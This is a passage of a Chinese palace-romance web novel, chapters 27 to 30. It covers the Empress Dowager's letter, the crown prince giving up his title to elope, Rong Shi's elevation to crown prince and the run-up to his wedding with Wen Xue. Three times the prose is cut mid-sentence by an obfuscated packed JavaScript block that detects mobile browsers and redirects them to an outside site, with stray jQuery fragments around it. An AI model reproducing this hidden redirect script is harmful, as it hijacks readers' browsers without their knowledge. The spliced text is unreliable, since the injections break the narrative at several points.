二皇子却皱起眉头,略微疑惑,“我何时刺杀过太后?”
他看了看容适,又看了看太子,忽然从二人看着他的神色中明白过来。
“原来,你们怀疑是我杀害太后?”他冷嗤一声。
“我的确不喜欢那老太婆,也在她身边安插了不少眼线。”
“你们从大铭寺回京那日,我也的确派了刺客去,装成北辽细作袭击你们,但那不过是想将众人视线转移到辽人身上,好方便我行事,但是我从未让人下令射杀太后。”
现场的确是抓到一个刺客,穿着打扮是一辽人的模样。
若这辽人打扮的刺客是二皇子派来混淆视听的话,那依二皇子所言,当时行刺的,应当不止一波刺客。
二皇子解释完,又郑重强调了一句:“谋逆之罪,我认,我没做过的事,我不会认。”
容适垂眸,静默了片刻,拿出三支箭头,递给他看。
其中一支是柳叶形箭头,是出现在刺杀现场的,辽人装扮的刺客射杀随行队伍时用的箭;
一支是精密的四棱锥形箭头,是刺杀太后的箭;
还有一支,则是长锥形箭头,是那日劫走城防图、中伤陆风时所用的箭。
“这三支箭,哪支是你手下所用?”
二皇子眼神微眯,看了两眼,指了指柳叶形箭头,“这支乃是我手下死士为伪装辽人所用。”
又指了指那支长锥形箭头,“这支是我手下平日所用。”也就是中伤陆风那支。
容适收起这两支箭,只留下那支刺杀太后的四棱锥形箭,放在二皇子眼前,“这一支你可有见过?”
“从未。”
二皇子信誓旦旦地回答,看不出任何说谎的痕迹。
地牢瞬间沉寂,空气似乎静默了好一瞬。
太子震惊地睁大了眼,容适则垂下眸一语不发,不知道在想什么。
所有人都陷入了沉默之中,连呼吸声都变得清晰可闻。
容适收起手中那三支箭头。
将手背到身后,指尖用力掐着箭身,用力到险些破了皮,流了血。
所以他们之间,还有第三波势力存在。
27. 第 27 章
月余后,皇帝的判决诏书一下,立刻传遍整个京城。
二皇子谋反失败,沦为阶下囚。谋逆者,大逆不道,本该被处以极刑,然而皇上念在二皇子毕竟是自己亲儿,又与婉妃多年情分,终究是将二皇子贬为庶民,流放西北边陲之地。
所有事情仿佛发生在一夜之间,当百姓弄清楚事情全貌之时,二皇子已经踏上了流放之路。
城外林中,一行官兵骑着马,一旁被押解着的几人则是戴着镣铐,行于往西北方向的官道之上。
正中间被看守最牢固之人,正是二皇子容治。
容治身边跟着几个仆从,一路伺候着他。他知道那是婉妃被打入冷宫之前,为他向皇帝做出的最后的请求。
身为母妃,再也不能为他做什么,只能派几位亲信的仆从,望他流放路上能少受些舟车劳顿之苦。
“殿下,喝水吗?”仆从走近容治身侧,问道。
容治还未答话,骑在马上的官兵立刻嘲弄一声:“一口一个殿下,还以为自己是二皇子呢?”
仆从立刻怒目圆睁,“你!”
容治给了他一个眼神,示意他莫要冲动。“往后,莫要再喊我殿下。”
仆从看了眼容治,有些不甘心道:“是,公子。”
容治看了眼脚上的镣铐,和不知尽头的前路,暗暗咬紧了牙关。
此次谋反失败,已叫他明白了,未到最后一刻,万不可展露锋芒令人有可乘之机的道理。
有朝一日,他若得了机会,定要摆脱这样的日子……
…
慈宁宫中。
太后故去后,殿内荒凉了许多,但太后的卧房却是还未收整完。
容适打开太后的卧房大门,行至床前,掀开太后平日睡觉的床榻,找寻着什么。
二皇子被流放之前,给他留下了一句话:“我在太后身边的眼线曾告诉我,太后曾写下一封密信,藏于床榻之间。”
那密信之中,或许便会有什么线索。
太后的床铺仍未被清理干净,他掀开被褥床单,那红木床板之上,放着一封信。
那信笺上,并未写明这信是赠予谁。
或许,太后也不知这信最终会由谁来启封。
容适带着信来到尚书府上,与温雪一同坐在了前庭院中。
温雪接过信笺,启封,拿出那一纸书信,信上是涓涓细流般秀气的行楷字体。
信中如此写道:
【我自知大寿将至,回望此生,多错多过,特此记录,以表悔意……】
太后姓宁,名映昭,小字朝朝。
往前回望约四五十年前,太后也曾是个天真烂漫的官家小女。
因着生得出挑,聪慧过人,十几岁时被皇家选中入了宫,很快便得了皇上恩宠,过了一段犹如普通百姓家夫妻琴瑟和鸣的恩爱日子。
可烟花易冷,帝心难测,不久后,那恩宠便转移给了其他妃子。
她开始尝到了嫉妒的滋味。
【我被这深宫磋磨了心性,为了这所谓的后位,手染鲜血,连年幼的孩子都未曾放过,为了让我儿能坐上皇位,我做了一件最错的事。】
然而,具体的事情太后没有写,不知是有意隐去,还是不想再提起。
【直到多年后,我已稳坐太后之位,却觉得此生了了,竟是再无活着的盼头。那一夜我欲在后山自绝,却无意之中捡到子安,忽然心生期望,这才绝了归去的念头。
子安的母妃,也是个可怜的女人,与过去的我无甚区别,只是她比我早一些做出了逃避凡尘的选择。她比我更有胆魄,而我只能皈依佛门,以求洗清身上的孽债。
于是我将子安当做自己的孙子一般抚养长大,期望他能在我临终之前长大成人……】
然后便是找上了温雪,太后看着温雪,便想起了过去的自己。如今有温雪这般女子在容适身边,她便是了了此生心愿。
她此生未能与良人共度一生,或许他们二人可以。
【让我苟活了几个年岁,已是上苍有好生之德,幸甚至哉。
此生已无挂怀,唯愿,子安能与雪儿真心相伴,携手共度余生,一生平安。】
落款写的人是:朝朝。
温雪是一字一句将这封信的内容念给容适听的,二人看完听完,便陷入了良久的沉默。
太后并不算短暂的一生,就这么呈现在了这短短一封信笺之上。
如今已经入了深秋,天气转凉,院中的树掉落了最后几片孤零零的树叶,仿佛也在诉说生命流失的萧条。
落下的枯叶,终究化作一捧腐朽,埋入地底,就如同那些罪恶或辉煌的过去,也将随着时间流逝,终被世人遗忘。
可是,谁又知道,春天到来之时,在那腐朽之中孕育出新生的花,将有多么美艳,多么动人呢。
温雪浅浅笑了笑,将手放在了容适的手上,轻轻揉揉地摩挲,带来微微的痒意。
“子安,我们成婚之前,这桃花大约也重新开了,我们便去祭拜一下太后,还有你的母妃吧。”
容适反手抓住她的手,看着她明媚的眼眸,道:“好。”
他对故去的母妃记忆不深,为数不多的记忆片段里,只留下母妃绝望看着他,责骂他,不人不鬼疯狂的样子。
可是方才,他听着太后写下的信,心弦放松的时刻,竟一时间想起了一些母妃温柔浅笑的瞬间。
或许,她也曾有过对他温柔的时刻。
只是奈何深宫是个吃人不吐骨头的地方,竟是让这样两个本该美好的女子,变成了后来的模样。
转而,他神色一凛。
他忽然想到,如若是温雪,随他入了宫,对温雪来说,会不会也是一种折磨?依照温雪的性子,她会愿意吗?
他垂下眉眼,陷入沉思。
温雪点了点他皱起的眉头,“想什么呢?怎的这副神色?”
容适一脸正色道:“雪儿,你如今还希望我坐上那个最高的位置吗?”
他如此问,温雪一下便想到了他心中所扰,微微笑了笑。
“我此前说了,此事并非我想,应当问你自己想不想。子安,莫要将我看得太重,我并非你生命的全部。”
说这句话时,她想到的是那个为她悲痛一生,最终一剑直指自己,不得善终的人。那鲜血染红了白茫茫的雪地,红得刺目。
他上一世便是将自己放得太重,才会是那样悲惨的结局。而她不希望他再次变成这般。
闻言,容适却是不大乐意地看着她,道:“我不喜欢你后半句话。”
既然她选择了自己,那她就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518590|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是他生命中的一切。如若他对她看得不重,那他便不是他了。
温雪无奈,伸手揉他的脑袋。
“话要听重点,前半句话你可听进去了?”
容适捉了她在他脑袋上作乱的手,塞在两手手心里,反复揉捏。
温雪也不恼,道:“如若你不想做皇帝,那我们便做个普通臣子,亦或是封个闲散王爷,都能过得很好。”
“如若是你做了皇帝,那我信你也定然会是个好皇帝,还会是个与众不同的皇帝。或许那满朝文武的满口废话,都可以由你来治一治。”
她知道他的性子,虽然学会了人情世故,但做了皇帝仍不喜那些弯弯绕绕,做事只求理法。
上一世在她死之前,他当真是个好皇帝的。
容适看着她,思考半晌,沉声道:“我想做那个能护住你的人。”
他不想做皇帝,但如果做了皇帝,能护她一生平安顺遂,那他便想要一试。
“好,那你就成为那个能护住我的人。”
“可若是我做了皇帝,你愿与我进这深宫吗?”
“为何这么问?”
容适犹豫道:“你不怕变成太后与我母妃这般吗?”
温雪挑眉,反问:“你会让我变成她们那般吗?”
容适想了想,坚定地摇了摇头,“不会,我不会。”
“那不就得了。”温雪坦然一笑。
“会困住人的,并非深宫的高墙大院,而是身边的人,与心中的自己。如若是对的人对的心境,那这所谓深宫,便也可以只是我们的家。”
他们的过去……
温雪不愿回想。
有太多难以言说的遗憾,逐渐筑成了一道道高墙,隔开了人心,困住了两个人。
现如今,她只想珍惜眼前之人,眼前的安稳日子,还有团圆和美的家人。
温雪抬眼,见容适又定定看着自己。
她伸出手指往容适脑袋上轻轻一弹,“又在想什么?”
容适揉揉额间,不予回答。
心中却道,他在想,他的雪儿,真是世间最最勇敢,也最最通透的女子。
*
太子府。
秋风扫落叶,这太子府便种上了各式各样的秋菊,叫秋日里也能百花争艳。
容适这次来太子府,眼见太子府中的丫鬟都少了许多,都换成了些糙汉小厮。
琴声悠扬传来,只见院内,太子又是正抚琴作伴,素歌翩翩起舞。
容适对此番场景已然见多不怪。
不过这次,眼前这二人与以前甚是不同,眉眼流转和对视,似乎多了许多暧昧情愫。
如今的他,很快就懂了那分情愫是什么,因为那眼神在他与温雪之间常常见到。
心中了然了几分,上前在太子面前坐下。
太子收了琴,素歌也懒懒停了舞退下。
太子看容适一脸正色,漫不经心地给自己倒了杯茶,“找我何事?”
容适道:“来与你相商。”
他上次说,若是想通了,记着来寻他相商。
太子觉得惊诧,没想到他这么快便能下定决心,他还以为自己还要等些时日呢……
他有意不答,容适认真注视他的眼睛,道:“你若是不让,我便要抢了。”
28. 第 28 章
太子粲然一笑,“真是没想到,你嘴里竟能说出这种话来。”
他正色道:“若是我不让,你要如何抢?”
容适眼神危险,眼底的暗色仿佛要沁出墨来,仿佛一头蛰伏在夜色的孤狼,亮出了他还不大成熟的利爪,却已完全显露锐利的尖牙。
他沉声道:“三十六计,孙子兵法,六韬三略,胡亥矫诏夺位,李世民玄武门之变……大哥若想,可悉数体验一番。”
太子眼角微抽:“……”这小子,竟是学会了这样威胁人。
况且,哪有人把夺嫡心思放在明面上告诉别人的?也就他能这般有恃无恐。
太子还是第一次在他这个弟弟身上看到这副模样,这气势,还当真有些唬人,连他都有些被震慑到。
他放下茶杯,摆摆手。
“罢了罢了,我这人呢,无心朝政,也不善读书。老二曾是勤学苦读,你呢则是天赋异禀,我哪个都不挨着。何况……”
太子犹豫着没说完,容适便跟着接话:“何况,你如今身边有那位素歌姑娘。”
太子轻笑一声,表示了默认。
他们一个为了所念之人,想要坐上皇位。
而另一个为了所念之人,想要放弃皇位。
如今这局面,倒是水到渠成。
太子平静道:“再给我一些时日。”
容适应了一声,鞠了一礼,转身离去。
*
皇宫,御书房。
午间下了朝,皇帝换了一身明黄色常服,在御书房看书批阅奏折。
桌上还摞了一叠未曾批阅的奏章,近日外邦听闻了天启内乱之事,颇有些蠢蠢欲动,想要试探天启如今国力,试图在天启生事,不免令大臣们担忧。
此时,下人进门来,在皇帝身侧微微低头,小声提醒道:“皇上,太子殿下来了。”
太子搬离出宫独住一府邸后,便极少回来皇宫,上朝也不常来,常引得皇帝不悦。而今日,太子却少见地进了宫。
太子踏入御书房的大门,皇帝便放下手中奏章,抬头看他。
“太子今日怎有空闲来朕的御书房?”
他这儿子,不知是谁教出来的,从小就是个不争气的,但他身为长子,总归要承担起一国之君的重任。
然而,太子刚进门站稳脚,便直接开口道:“父皇,儿臣愿退位让贤,不想再坐这太子之位!”
闻言,皇帝直接龙颜大怒,猛地起身走到太子面前,这一动作便令桌案上摞起的奏章翻到在了地上。
“你知不知道,你在胡说八道什么?!”
太子已经预料到此事不会如此轻松,只得继续恭敬道:“儿臣不想困于这一方囹圄,儿臣只想天高海阔,自由自在。”
皇帝冷笑一声,“你生来就是太子,这是多少人求都求不来的位置!离了太子这尊贵的称谓,你就什么都不是。你现在却要和我谈什么自由?真是笑话!”
太子却没有为他这番话放弃,更加坚持。
“儿臣在宫中活了二十多年,已经看透了,有些人注定不适合这片地方。”
“譬如母后,您以为她在您的身边,看着您三宫六院,她心中便乐意吗?母后以泪洗面的日子,您关心过吗?”
皇帝也对他的问话不为所动,“婚姻大事,那是为了平衡各方势力,皇家子弟,何须在感情上动什么真心?在这皇位上,有什么女人你得不到?幼稚!”
皇帝一甩袖子,气得背过身去。
太子在他的背后鞠了一礼,声音坚定。“父皇,这便是儿臣不愿坐这太子之位的缘由。”
“容钦!”陡然间,皇帝情绪激动,大呼太子的大名,颇有些咬牙切齿的味道。
“我为你谋划了这么多!连老二都已叫我流放!你如今要告诉我,你不愿坐这太子之位?”
“我这皇位是什么很下贱的东西?你竟是要这样避如蛇蝎!”
皇帝脸色张红,显然已经气到自称也忘了。
语音落下,空气静默,似乎凝滞的死水。太子耳边如琴弦崩断的一瞬,发出怔然的长鸣。
他听到皇帝的前半句话之后,后面的怒斥便再也听不进去。什么叫“谋划”?这与二弟的事件又有什么关系?
他嗫嚅开口:“父皇……您这是什么意思?”
刚才一瞬,他脑中闪过许多。他忽然反应过来,从朝堂争端,到他们抓住二弟谋反失败,所有的事情发生得都很自然顺利。
但这自然顺利,便都透露着蹊跷。
他们在皇帝眼皮子底下做的看似不为人知的事情,当真能瞒得过去吗?
容治在朝堂上权势滔天,一代君王,又怎会坐视不理呢?
容适又为何在朝堂上突然受到重用,不知不觉中便能与容治站在了对立面上呢?
太子声音颤抖,“您是何时开始算计的?”
“自是从始至终,从头至尾。”
“父皇,我们都是您的亲儿子,您竟是将我们都算计在内?”
“你以为我在位多年,要坐稳这个帝位,很轻松吗?身为帝王,一旦掉以轻心,身边亲信之人立刻兵戎相见。”
皇帝凑近他,语气低沉如淬着毒吐性子的毒蛇。
“这就是身在帝王之家应当承受的!”
为压抑住此时心中纷乱的心绪,太子喉结动了动,吞了一口口水。
忽然想到什么,沉重地问:“那太后的死,与您可有关系?”
皇帝闪烁其词道:“这件事,你不要再过问。”
他没有再继续说下去,可太子已经从他的表情神态中读懂了一切。
身在帝王家,竟是已经可以狠心到连自己的生母都算计在内,都能下得去手!
“太后可是您的母亲!”他一字一句,一字一顿,咬牙切齿,振聋发聩。
“朕说了,这件事,你不要再问。”
太子觉得难以置信,没想到,他是这样一位皇帝。他忽然觉得,自己好像从来没有真的认识过自己的父亲。
从前只觉得他不是一个好父亲,但至少是一个好君王,好儿子。可谁知,这竟然都是他虚伪的表象。
“您怎能是这样的人……”
“朕是什么样的人,无须你来做评判。”
太子无言以对。
如果这就是他未来成为君王后要走的路,那他不愿意。他不愿陷入帝王家无尽的泥沼之中。
皇帝在书桌前重新坐下,有些身心俱疲地拿手捂住了脸,一会儿后摆摆手,示意他走人。
“往后莫要再说如此荒唐的话,待你脑子清醒了,再来与朕说话。”
太子握了握拳,最终选择鞠了一礼,转身离去,信步行至坤宁宫,他母后的寝宫。
皇后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530610|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正半躺在床榻上,咳嗽了几声,丫鬟端来了一碗汤药,她接过喝了几口,这才止住了咳嗽。皇后还很年轻,白日里要端出母仪天下的架势来,无人知道她私下里总是病体抱恙。
太子进来之时,皇后的汤药刚喝过半碗,他跪在皇后身前,拿勺子舀了药一口一口喂到皇后口中。
那汤药见底时,太子颤抖着说道:“母后,您今后,要保重身体。”
皇后看着他的眼眸,猜到他心里在想什么,无奈叹了口气,出口却是心疼的语气,“你这孩子,从小就离经叛道。也好,我实现不了的人生,你便去帮我实现吧。”
未再多说什么,一切尽在不言之中。
这一夜的城门外,有几人隐匿在黑暗中,低声拜别。二人骑着马,身上披着长袍,帽衫遮住了脸,让人看不清样子。
马上的二人一同褪下长袍的帽衫,男子是太子容钦,女子则是素歌。
看着马下的容适和温雪,素歌轻声道:“二位留步,素歌身为北辽暗探,从未想过能有身获自由的一日,此前给天启带来诸多麻烦,素歌在此道歉。”
她又继续郑重承诺道:“若不是二位当时救了我性命,便没有今日的素歌。往后有用得上我的地方,我定竭尽全力。”
她也没有想到,她一个北辽的细作,竟是能与天启的太子殿下扯上关系。她不敢信皇室中人待人会有真心,始终不敢暴露自己的情感,对太子退避三舍。
可如今,太子殿下竟真的要放弃太子之位,与她一起离开天启,从此过隐姓埋名的日子。
她不知结果会如何,他们能走到哪一步,但……哪怕只是一瞬的飞蛾扑火,一时的烟火绚烂,她都会努力尝试一下。
毕竟对于她这样的身份,能真正为自己活过一次,就已经很知足。
温雪已然听说过素歌的身份,以及与太子殿下的事,知道素歌姑娘自小因为战争失去了家人,所以身为北辽的细作,却不想让北辽阴谋得逞,不愿意战争延续,所以主动放弃了任务。
她不禁也佩服素歌姑娘的勇气与大义。
一旁,容适抬头看向马上的太子,“大哥,此行你是非走不可吗?”
面对太子,容适心中有些愧意,他未曾想,他说出要争这皇位的威胁之语后,太子竟是要直接离开京城。
可太子却道:“四弟,往后莫将此事挂念在心上,我不是因为你而离开的。”
比起容适,太子心中愧意更深。
他想起那残破不堪的真相,他父皇说的那些话。他应该告诉容适吗?
告诉他,他们都是父皇手中的棋子,他们的父皇,就是容适一直在查的刺杀队伍中的第三方势力。
太子思索许久,最终还是没能说出口。他期望着以四弟的才干,可以改变父皇,改变天启。
是他太过懦弱,遇事总是在逃避……
他暗暗叹了口气,沉声道:“从此天高海阔,再无容钦太子。”
“四弟,这江山,往后就交给你了。”他相信容适,在他走后,可以顺利登上太子之位。
他又看了眼温雪,“相信只要有温姑娘在你身边,你必定会成为个好太子,好皇帝。”
道完别,二人拉起缰绳,策马长驱而去,消失在暗夜的密林里。
不久后,天启迎来一位新的太子。
也似乎开启了新的戏幕。
29. 第 29 章
此年,乃是真正的瑞雪迎新年。
上一世的这个大雪之夜,温雪倒在了雪地中,接下来的几年便过得支离破碎。可是这一世,她却是终于可以与家人团圆了。
所有的纷争纷乱都已经过去,温雪不用再担心他们一家人会天人永隔,她重生以来的心境从未如此刻这般宁静。
温雪坐在庭院里,看着纷飞的鹅毛大雪,伸出手来,接了几片雪花。
那雪花落在掌心,很快便融化,本该是冻人得很,可温雪却觉得这雪都是温暖的。
她心中暗暗想,她这名字取得可真好,温雪温雪,温暖的雪。
自然,这暖的不是雪,是人心。
*
这几日,容适被封为了天启新太子。
这一告示一出,立刻给百姓的茶余饭后增添了许多平白的猜测与话题。
不过,百姓的议论之中,都是给予支持的态度居多。毕竟容钦留下的口碑一直不是太好。
然而,百姓并不会知道,容适被封太子的过程其实并不顺利。
太子殿下连夜偷偷出城一事,自是惊动了朝野上下。容钦过去就因着纨绔子弟做派,被臣子们认为是“扶不起的阿斗”,只是因着皇帝一直未松口,所以一直稳坐太子之位。
于是群臣联名上书弹劾容钦的太子之位,并且举荐容适为新太子。
皇帝自是不同意,且勃然大怒,竟是气到大病了一场,卧于床榻半月有余,才重新上朝。
朝堂之上,皇帝仍然反封容适为太子,这令群臣们也摸不着头脑。
然而,如今太子党羽无所倚靠,二皇子党羽早已分崩离析。皇帝总共就这么几位儿子,这未来的帝王之位会落在谁的头上,可想而知。
固有的派系被重新洗乱,这群臣子一下子“群龙无首”。
因此借着这个时机,容适明里暗里“拉拢”了这些朝中重臣。
实则也不必他拉拢。容适在朝堂之上的作风,几位明事理的重臣也都看在眼里。于是三言两语间,容适便得了这几位重臣支持,此后其他臣子察言观色,风向自然是颇为明显。
这些能坐上朝廷重臣之位的,没有一个不是老油条。他们最知道,在什么时候表忠心才是最佳的时机。
“陛下,国不可一日无君,也不可一日无太子啊,这太子之位已空了太久,此事对我朝乃是大不利啊。”
“陛下,四皇子才学斐然,于朝堂之上贡献了颇多治国良策,实乃一国之栋梁。”
“陛下,臣等力荐四殿下成为我朝新太子……”
“……”
群臣进谏,皇帝一人也难挡这般压力。他坐于龙椅之上,看着大殿上低垂着眼眸,对朝堂纷乱置若罔闻的儿子,心中轻嗤。
没想到啊没想到,他当初将容适推上朝堂,是为了利用他这异于常人却天赋异禀的才干,制衡太子与二皇子之间的关系。
没想到,却是让他羽翼丰满了起来,坐收了“渔翁之利”。
看着群臣你一嘴我一嘴叽叽喳喳个没完的臣子,皇帝感觉心口一闷,那病痛之感又险些涌了上来。
“够了。”他沉声喝止道,“明日,朕便会立下诏书,封容适四殿下为天启新太子。”
皇帝心道,太子之位终究不是皇位,此番权宜之计,稳住群臣,他再慢慢想办法解决……
“陛下英明!”群臣齐刷刷行礼。
第二日告示一出,容适被封为了太子。
好事一桩接着一桩,又过了几日,太学年考过后,温珩成绩出色,又因着此前揭穿了二皇子谋逆一案,乃是护国有功,因此封上了刑部侍郎一职。
“我便知道,哥哥如此有才华,早晚能封上个一官半职的!”温雪看着温珩试穿上官服,笑眯眯道。
温珩一边对着镜子欣赏自己穿着官服的模样,一边感慨道:“没想到妹妹竟是长了一张如此讨巧的嘴,说什么便来什么!”
他转过身,眉眼促狭地看着温雪,“到了春生花开之时,你可是要与四殿下……哦不,如今该改口叫太子殿下了,”他顿了顿,继续道,“你可是要与太子殿下准备婚事了。”
他们本该早就完婚的,却是拖到了今时今日。
温雪低垂了眉眼,眼波流转,“哎呀,雪儿还想在家中多陪陪哥哥与爹爹娘亲呢。”
“你已经多陪了我们一年了,这场婚事,我们定让你风风光光地出嫁。”
温雪眉眼弯弯,高兴地笑了。
上一世,她一开始直接就是被容适“掳走”,彼时,他也是刚封上太子之位,直接将温雪带到了太子府之中,成为他的太子妃时,并没有过大婚。
没过多久又住进了皇宫之中,唯有皇后册封大典之时,她穿上婚服,一身凤冠霞披,算得上是二人正式的成婚。只是当时也没有家人陪在身边,她身子虚弱,流程也都从简,匆匆便结束了。
如今,乃是真正的大婚,她心中不免暗生了些许期待。
冰雪消融之后,便是开春。一年四季,时光就在这悄然的轮转之中过去。
一直到桃花盛开之时,容适和温雪便来到了皇陵,跪在了太后和他生母宁妃的坟冢前。
他们曾说好一起来祭拜二人。
容适跪在二人牌位前,温声道:“皇奶奶,母妃……儿臣来看你们了。”
半晌,说不出什么话来,又道了一句:“我和雪儿,我们会好好的。”
温雪也接话道:“我们二人定会一直好好的。”凋零的花又重新开了,他们也将迎来新的生机。
磕了几个头后,二人便离开了。
再过一个多月,就是他们正式的婚期,也是一个良辰吉日。
容适如今贵为太子殿下,已经入住了新的太子府邸,而陆风已然成了府邸最大的管事之人。
乔迁之喜加这新婚之喜,乃是喜上加喜。于是陆风对容适道:“太子殿下,这大喜之日,定要大操大办一场,才好让温姑娘印象深刻,不会为离开温家而感到太过感怀。”
容适觉着有道理,他虽不看重仪式这种东西,但雪儿定是有所期望的。于是东宫上下,所有下人都忙活着准备喜事,格外热闹了起来。
与此同时,温府也没闲着,去年这婚事没办成,今年温雪的父兄母亲,都更要为她弥补上这圆圆满满的喜事。
一直忙到婚礼前半月,按照他们天启的习俗,成婚前半月,男子与女子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534477|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
便不能再见面了。
平日里不见也就不见罢了,可是如今这规矩不让见面,温雪那离经叛道的心性使然,便更加想见见容适了。
夜晚的新太子府。
容适正在院中亲自挑选新婚之夜要准备的礼器。
本来按照规矩,是应当他的父母送一些礼器给他新婚的太子妃,可他与父皇因封太子一事闹得并不愉快,二人关系如同绷紧的细麻绳,在崩断的边缘岌岌可危。
家中又已无其他长辈,于是,他便想自己尽心竭力挑些更好的东西赠予温雪。
挑选完毕之后,容适满意地回到自己寝殿之中。
刚过踏入院门,忽然一道身影突然从身侧袭来。
他眉头锁了一瞬,下一秒,温热绵软的触感贴上他的身子,他这才眉头舒展开来,伸出手回抱温雪。
“雪儿?你如何进来的,莫不是翻墙?”这东宫的墙,可不比别处好翻。
温雪羞赧道:“本是想翻墙的,不过……翻墙之前便被陆风给抓到了,于是便让他偷偷带我进来了。放心吧,绝对没有其他人看到!”
容适垂眸看着她,低声问:“你家中可知道你出来?”
虽然才刚刚入夜,东宫与尚书府不过两条街的距离,可独自出门来,总归是有些危险的。
温雪下巴抵在他的胸口,娇声道:“哥哥送我来的,他还在门口等我呢,我只有一柱香的时间。”
容适放下心,伸手轻抚她的发梢。
温雪娇声道:“这几日家中筹备婚事,我反倒闲了,实在无趣,便想来瞧瞧你在做什么,还有,我是想……”她一顿,眨眨眼,“我想雪球了。”
容适无奈地看她,“原来不是想我?”
“想的想的。”温雪眉眼促狭。
“敷衍。”容适低声轻斥。
温雪不在意道:“雪球呢?许久没见到雪球啦。”
此时,一下人路过院门外,听着院内似乎有些声响,便走了进来。
一听见脚步声,温雪做贼心虚,立刻从容适怀中抽出,躲进了一旁的假山石后头蹲下。容适也顺着她的动作,下意识地挡在了假山石前。
下人走上前来,见殿下还未曾歇下,恭敬道:“太子殿下,您可是还有事要吩咐?”
容适轻咳一声,欲盖弥彰道:“无事,方才有只猫跑进来了,本殿下正在寻猫。”
假山后头躲着的温雪本猫:“……”
“这等小事,交给我们下人来做即可,太子殿下便快快歇息吧。”
“不必,本殿下亲自寻即可,你先退下吧。”容适正色道。
“是,殿下。”刚要退下,下人又犹豫叮嘱道,“这外来的猫比不得雪球温顺,殿下千万小心,莫要被这小野猫咬伤了。”
小野猫温雪再次汗颜,觉得脸颊都有些发热了。
她可不会咬人呢。
*
大婚当日,十里红妆,红锦地毯绕着京城,一路绵延至尚书府,令满城繁花失了颜色。
迎亲的马车从街头列至巷尾,所过之处,漫天花瓣,鞭炮礼花伴随着鸣乐之声,此起彼伏,热闹非凡。
百姓夹道欢呼,满城皆庆。
30. 第 30 章
闺房之内,红烛高照,温雪坐在铜镜前,眉眼精致,平日里披散着的长发已尽数盘起,一身凤冠霞披,手中执一枚却扇遮住面颊,颇有犹抱琵琶半遮面的画意。
身旁丫鬟簇拥,温夫人在一旁看着,还一直叮嘱着温雪一会儿婚仪上应注意的细节,看起来比温雪还要紧张三分。
“一会儿要举好却扇,稳当些,莫要举着举着歪了,也莫要嫌累便随意放下来。”
“迎亲的队伍来了,你可得走稳着点儿,莫要像平日里那样莽莽撞撞,新娘子摔着了可不好看。”
“……”
温雪筹备这大婚已然晕头转向,听着母亲的话也是左耳进右耳出。
温夫人见温雪这心不在焉的模样,轻轻点了点她的脑袋,“我方才说的,都听明白了没?”
温雪无奈娇嗔道:“好啦母亲,我都记住啦。”
温夫人叹了口气,“若是放在过去,你要嫁入皇家,我自是不会同意的。”
她不希望温雪高嫁,担心她嫁过去了会受委屈。然而,温雪竟是与四殿下互生了情愫。
温夫人只好安慰自己,也罢,听闻那四殿下自小呆呆愣愣,应当不是个滥情之人,家中又没有婆婆刁难,温雪定能稳坐这女主人之位。
“往后进了太子府,要与太子殿下好好相处……自然,也是不要委屈了自己。”她低声留下最后一句叮嘱。
此时,丫鬟进门来道:“小姐,夫人,太子爷迎亲来了。”
温雪迈着小碎步,稳当优雅地走出府,便看到迎亲的队伍浩浩荡荡地行驶过来,排面给了十足。队伍最前头的,自然是容适。
他踏马而来,一身鲜衣怒马的少年郎君模样。谁能想到,前两年还孤僻无比,见了生人便说不出话的少年人,有朝一日会是这般意气风发的模样。
如今一身红衣衬得他更加剑眉星目,鼻梁英挺,丰神俊朗,又坐于白马之上,身形挺拔,一身的气势如虹,牵着缰绳的手指修长,指节分明。
实在是……分外惹眼。温雪目光闪烁,心中感叹了一句。
容适翻身下马,到了温雪面前,看着她穿着火红的嫁衣,发上垂落的珠钗流光溢彩,衬得她更加肤白如新雪,眉眼之间娇艳动人。
却扇掩去了她下半张脸,留出了一双如星辰明月般的眼睛。
他心中微动,心跳如鼓,方才的气势气度一下就散了,变回了往日温顺乖巧的模样,颇有些紧张地牵起温雪的手。
看着他微微慌张的眼神和动作,温雪在却扇后头顿时笑意渐浓。
他将她牵上花轿,温雪坐在轿内,透过迎风飘动的帘子,能看到他驾着白马清朗俊逸的背影。
迎亲的队伍一路绕城,行至太子府,不过两条街的路途,却仿佛走了几里地之久。
接着便是迎入太子府之中,拜天地,拜高堂。只是高堂无所拜,便直接略过进入了夫妻对拜。
温雪未曾想,这完整的大婚竟是如此复杂,待他们一道道做完之后,天色已经渐渐暗了下来。
寝殿之内,灯火摇曳,光影起伏,浮动的月色映在窗台之上。今夜是个月明星稀的宁静夜晚。
温雪在屋内床头坐着等候,没过多久,便听见门外响起了一阵脚步声。
